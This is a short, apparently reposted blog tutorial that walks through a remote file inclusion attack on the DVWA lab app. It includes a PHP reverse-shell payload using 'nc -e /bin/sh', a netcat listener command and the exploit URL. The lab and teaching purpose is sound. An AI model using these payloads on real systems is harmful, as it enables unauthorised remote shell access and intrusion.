Ethical Hacking - Web Penetration Testing(6)

时间:2020-02-07 23:07:29   收藏:0   阅读:62

REMOTE FILE INCLUSION

Pre-Condition:

Set allow_url_include to On status.

技术分享图片

 

 Restart web service

技术分享图片

 

 

Create a local php file on /var/www/html.

<?php
passthru("nc -e /bin/sh 10.0.0.13 8080");
?>

技术分享图片

 

 

Execute the NC command to wait for connection.

nc -vv -l -p 8080

Visit the URL(http://10.0.0.24/dvwa/vulnerabilities/fi/?page=http://10.0.0.13/reverse.txt?) to execute the reverse connection commands.

技术分享图片

 

 We connect to the target machine successfully.

技术分享图片

 

原文:https://www.cnblogs.com/keepmoving1113/p/12274844.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!